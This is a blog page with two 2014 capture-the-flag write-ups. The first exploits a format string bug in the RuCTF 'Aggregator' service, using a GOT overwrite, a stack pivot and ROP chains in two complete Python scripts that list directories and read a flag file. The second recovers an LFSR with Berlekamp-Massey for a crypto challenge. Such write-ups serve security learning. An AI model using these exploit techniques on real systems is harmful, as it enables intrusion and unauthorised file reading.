Wednesday, March 12, 2014

RuCTF Quals 2014 - Aggregator - Vuln 200 - [Team SegFault]

Vuln 200 is a 32 bit ELF protected with NX and ASLR enabled and no RELRO. This is what it looked like:
[ctf@renorobert ructf]$ nc 192.168.122.100 16711
> a
Available commands:
help -- show this message
quit -- quit
rating -- show player rating
summary <player_name> -- show the main stats of the player
stats <player_name> -- show all the stats of the player
The stats command lead way to a format string vulnerability as the player_name input is directly used in vsnprintf() call. Now this vulnerabilty can be used to take control of EIP.

The choice was to overwrite GOT entry of strncmp(). Reason is, we could reach the buffer used by read() call so that NUL bytes can be used. This is what the read() call looked like
.text:0804A6D0                 mov     [esp+428h+nbytes], 3E8h ; nbytes
.text:0804A6D8                 lea     eax, [ebp+s]
.text:0804A6DE                 mov     [esp+428h+buf], eax ; buf
.text:0804A6E2                 mov     eax, [ebp+fd]
.text:0804A6E5                 mov     [esp+428h+descriptor], eax ; fd
.text:0804A6E8                 call    _read
.text:0804A6ED                 mov     [ebp+var_C], eax
.text:0804A6F0                 cmp     [ebp+var_C], 0
.text:0804A6F4                 jz      short loc_804A70D
.text:0804A6F6                 mov     eax, [ebp+arg_4]
.text:0804A6F9                 mov     [esp+428h+buf], eax ; s
.text:0804A6FD                 lea     eax, [ebp+s]
.text:0804A703                 mov     [esp+428h+user_input], eax 
.text:0804A706                 call    check_options

; check_options
.text:0804A592                 push    ebp
.text:0804A593                 mov     ebp, esp
.text:0804A595                 sub     esp, 28h
.text:0804A598                 mov     [esp+28h+n], 4  ; n
.text:0804A5A0                 mov     [esp+28h+c], offset aQuit ; "quit"
.text:0804A5A8                 mov     eax, [ebp+user_input]
.text:0804A5AB                 mov     [esp+28h+dest], eax
.text:0804A5AE                 call    _strncmp ; EAX holds the address of buffer used by read()
With EAX holding address pointing to user input, there is nice gadget to pivot the stack
0x08048ab8: xchg eax, esp; ret
Using the format string vulnerability, the GOT entry of strncmp() can be overwritten with address of stack pivot gadget to move ESP to buffer used by read(). Now we have both EIP and ESP under control. The idea was to use a ROP payload to call system().

Things didn't go as per plan. Remote machine was running Linux saper 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 for which a matching libc couldn't be found. Approaches to find/brute system() offset failed. Next attempt was to use a ROP payload to call fopen() to read flag file, hoping that file name would something like 'key' or 'flag'. That didn't work either.

Then we decided to dump the directory list using the following payload:

[*] Overwrite strncmp() to pivot stack into buffer used by read()
[*] Again, shift the stack into bss, to make use of some gadgets
[*] Call opendir() with /home/ directory
[*] Write the pointer returned by opendir() into bss, later leak it using write()
[*] Call readdir() with this leaked address
[*] Dump the memory region using write()
#!/usr/bin/env python

import struct
import telnetlib

ip = '192.168.122.100'
ip = 'vuln1.quals.ructf.org'
port = 16711

plt_write = 0x08048d00
plt_exit = 0x08048ca0
plt_read = 0x08048b90
got_strncmp = 0x0804c3bc
bss = 0x0804c500
option = "stats "
format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload

con = telnetlib.Telnet(ip, port)
con.read_until('>')

#  overwrite strncmp using format string
payload  = option
payload += struct.pack("<I", got_strncmp)
payload += format_str
con.write(payload + "\n")
con.read_until('>')

payload  = struct.pack("<I", plt_read)
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", bss)
payload += struct.pack("<I", 0x400)
payload += struct.pack("<I", 0x08048a48) # pop esp; ret
payload += struct.pack("<I", bss)

con.write(payload + "\n")
file_to_read = "/home/tasks/aggregator/ctf/" 
file_to_read = file_to_read + "\x00" * (40 - len(file_to_read))

payload  = struct.pack("<I", 0x08048eb0) # opendir@plt
payload += struct.pack("<I", 0x08049544) # pop ebp ; ret
payload += struct.pack("<I", bss+356)

payload += struct.pack("<I", 0x0804aa3e) # pop edi ; pop ebp ; ret
payload += struct.pack("<I", 64)         # for edi
payload += struct.pack("<I", 0x41414141) # junk for ebp
payload += struct.pack("<I", 0x08048b51) # pop ebx
payload += struct.pack("<I", bss+396)    # bss address holding address of 3pop reg gadget
payload += struct.pack("<I", 0x08048a48) # pop esp, ret
payload += struct.pack("<I", bss+400)    # move stack to write the return value of opendir()

#payload += struct.pack("<I", 0x08048991)*3
payload += struct.pack("<I", 0x08048dc0) # readdir@plt
payload += struct.pack("<I", 0x08049544) # pop ebp ; ret
payload += struct.pack("<I", 0x086891f8) # address of stream ; leaked after call to opendir()

payload += struct.pack("<I", plt_write)
payload += struct.pack("<I", plt_exit)
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", 0x086891f8)
payload += struct.pack("<I", 0x4000)
# opendir heap address leak
#payload += struct.pack("<I", bss+408)
#payload += struct.pack("<I", 0x4)

payload += "B"*284

payload += file_to_read  
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x0804aa27) # mov dword [esp+0x04], eax ; call dword [ebx+edi*4-0x00000100]
payload += "A"*8                         # will be overwritten by stream
payload += struct.pack("<I", 0x08048a48) # pop esp, ret
payload += struct.pack("<I", bss+40)     # restore stack
con.write(payload + "\n")

print con.read_all()
#print hex(struct.unpack("<I",con.read_all().lstrip())[0])
"""
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Real.ngLog.2012.07.42.42.42.24.7777.log
"""
Dumping through /home/tasks/aggregator/, some interesting file was found in sniperserver and ctf.
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Unreal.ngLog.2012.07.21.01.53.09.7777.log
Unreal.ngLog.2012.07.21.02.41.14.7777.log
Unreal.ngLog.2012.07.21.01.42.52.7777.log
Unreal.ngLog.2012.07.21.02.44.35.7777.log
Unreal.ngLog.2012.07.24.03.58.53.7777.log
Unreal.ngLog.2012.07.21.02.21.05.7777.log
Unreal.ngLog.2012.07.21.02.49.50.7777.log
Unreal.ngLog.2012.07.21.01.27.20.7777.log
*-xi8
Unreal.ngLog.2012.07.21.01.11.16.7777.log
Unreal.ngLog.2012.07.21.02.58.49.7777.log
Unreal.ngLog.2012.07.21.01.58.17.7777.log
XOw8
Unreal.ngLog.2012.07.21.03.02.54.7777.log
Unreal.ngLog.2012.07.21.02.09.24.7777.log

[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Real.ngLog.2012.07.42.42.42.24.7777.log
The final payload was to read the ctf/Real.ngLog.2012.07.42.42.42.24.7777.log file which gave the flag

[*] Open file using fopen()
[*] Read the contents using read() into bss
[*] Dump the memory using write()
#!/usr/bin/env python

import struct
import telnetlib

ip = '192.168.122.100'
ip = 'vuln1.quals.ructf.org'
port = 16711
plt_write = 0x08048d00
plt_read = 0x08048b90
plt_exit = 0x08048ca0
got_strncmp = 0x0804c3bc
bss = 0x0804c500
option = "stats "
format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload

con = telnetlib.Telnet(ip, port)
con.read_until('>')

#  overwrite strncmp using format string
payload  = option
payload += struct.pack("<I", got_strncmp)
payload += format_str
con.write(payload + "\n")
con.read_until('>')

payload  = struct.pack("<I", plt_read)
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", bss)
payload += struct.pack("<I", 0x400)
payload += struct.pack("<I", 0x08048a48) # pop esp; ret
payload += struct.pack("<I", bss)
con.write(payload + "\n")

file_to_read  = "ctf/Real.ngLog.2012.07.42.42.42.24.7777.log\x00"
payload  = struct.pack("<I", 0x08048d20) # fopen@plt
payload += struct.pack("<I", 0x08049945) # pop ebx ; pop ebp ; ret
payload += struct.pack("<I", bss+56)     # filename
payload += struct.pack("<I", 0x0804875d) # readmode

payload += struct.pack("<I", plt_read)   # read@plt
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x5)        # descriptor
payload += struct.pack("<I", bss+156)
payload += struct.pack("<I", 200)

payload += struct.pack("<I", plt_write)  # write@plt
payload += struct.pack("<I", plt_exit)
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", bss+156)
payload += struct.pack("<I", 0x1024)
payload += file_to_read

con.write(payload + "\n")
print con.read_all().lstrip().rstrip()
"""
[ctf@renorobert ructf]$ python read_file.py 
0.59 player Connect RUCTF_5b75086a 0 False
0.59 player Connect Fledi 1 False
0.99 player Connect ;itachi 2 False
0.99 player Connect Mina 3 False
0.99 player Connect Dune2000 4 False
2.81 player
"""
Flag for the challenge is RUCTF_5b75086a which I got just 15 mins before closing time :D

Wednesday, March 5, 2014

Boston Key Party CTF 2014 - Door 1 - Crypto 500 - [Team SegFault]

Description:
You need to open door no 5 in a secret facility. We have been trying to brute-force the door without success. One of our agents was able to infiltrate the control room and take a picture. The server is known to use some kind of problematic random number generator for the authentication. Open the door. The service is accessible on 54.186.6.201:8901, good luck with your mission. UPDATE/HINT: LFSR.

We were given an image file with some info, showing the challenge and response communication.
To start with, it was my friend who asked me to look into this problem and said, the challenge received might be seed for LFSR and output sequence might be the expected reply. Lets see.

[*] The challenge received is a 4 byte value. If it has to be seed for LFSR, then the LFSR should have 32 registers to deal with 4 bytes
[*] The screen capture shows a big number which might be a possible output sequence

Below is the number:
0xe4ca194f7b2ab2b3fbe705c
This is how the bitstream looked like:
11100100110010100001100101001111011110110010101010110010101100111111101111100111000001011100
With 92 bits of output sequence in hand and a possible 32 register LFSR, we can find the LFSR feedback function by feeding the Berlekamp-Massey algorithm with 64 bits(2 * length of LFSR) of the output sequnce.

The feedback function found is:
1 + x + x^4 + x^5 + x^6 + x^16 + x^19 + x^31 + x^32
The degree of the polynomial is 32, which supports the possible length of LFSR being 32.

Now, if the sequence 0xe4ca194f7b2ab2b3fbe705c can be generated using the above function and seed 0xf2985327, then we are on right track.
#!/usr/bin/env python

chall = 0xf2985327
seed = [int(i) for i in bin(chall)[2:]]  
# x + x^4 + x^5 + x^6 + x^16 + x^19 + x^31 + x^32 + 1
feedback_function = [1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1]

output = ''
for i in range(96):
    feedback = 0
    output += str(seed[-1])
    for i in range(len(seed)):
        feedback = (seed[i] * feedback_function[i] + feedback) % 2
    seed = [feedback] + seed[:-1]
 
print hex(int(output,2))
[ctf@renorobert BKP]$ python cry500.py
0xe4ca194f7b2ab2b3fbe705ccL
The generated output sequence is equal to the one in the screen capture, so we got the LFSR design right!
Now the amount of bits to be sent as response should be bruteforced. I incremented byte by byte from 96 bits, but soon I was told in IRC that 296 bits is all thats needed. Sending a 296 bits reply gave us the flag.
0x8d3c22ea
0x57443cb1e7daf6a45be190d11d3a1b4902633133d62d5900fd134c3caa91d5c233342fce62
response
> Door open: n0t_s0_r4nd0m_029210
Flag for the challenge is n0t_s0_r4nd0m_029210